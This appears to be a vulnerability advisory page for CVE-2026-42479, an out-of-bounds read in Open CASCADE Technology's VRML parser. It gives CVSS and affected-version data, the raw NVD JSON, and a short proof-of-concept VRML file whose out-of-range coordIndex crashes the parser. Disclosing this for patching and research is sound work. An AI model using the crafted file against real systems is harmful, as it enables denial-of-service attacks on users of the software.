Security Vulnerability Report
中文
CVE-2026-42479 CVSS 5.5 MEDIUM

CVE-2026-42479

Published: 2026-05-01 15:16:44
Last Modified: 2026-05-01 19:16:32

Description

An out-of-bounds read vulnerability in VrmlData_IndexedLineSet::TShape in the VRML parser in Open CASCADE Technology (OCCT) V8_0_0_rc5 allows attackers to cause a denial of service via a crafted VRML file. The issue occurs because coordIndex values from parsed input are used as direct array indices without validation against the size of the coordinate array during geometry processing.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opencascade:open_cascade_technology:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc3:*:*:*:*:*:* - VULNERABLE
Open CASCADE Technology (OCCT) V8_0_0_rc5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#VRML V2.0 utf8 # PoC for CVE-2026-42479: Out-of-bounds read in VrmlData_IndexedLineSet::TShape # The coordIndex references index 999, but the coord array only has 3 points. Shape { geometry IndexedLineSet { coord Coordinate { point [ 0 0 0, 1 1 1, 2 2 2 ] } coordIndex [ 0, 1, 999, -1 ] } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42479", "sourceIdentifier": "[email protected]", "published": "2026-05-01T15:16:43.967", "lastModified": "2026-05-01T19:16:32.267", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability in VrmlData_IndexedLineSet::TShape in the VRML parser in Open CASCADE Technology (OCCT) V8_0_0_rc5 allows attackers to cause a denial of service via a crafted VRML file. The issue occurs because coordIndex values from parsed input are used as direct array indices without validation against the size of the coordinate array during geometry processing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.9.3", "matchCriteriaId": "13B8FE30-EAE8-4F3E-8F5C-E81BD438FF6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "0B51DDC9-FDA5-4701-8CA3-5B589D72FA88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "57733587-FB01-4201-8509-E81B6AE94AE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "86CF4B98-CCD3-4463-9A24-231128DDF85A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F3987B9C-2448-4281-9A5C-FB6AF0336C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "632D1594-AD1F-4F80-86F7-F8850F3574EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "267468E1-F54F-44AF-B74F-DFD29354243B"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}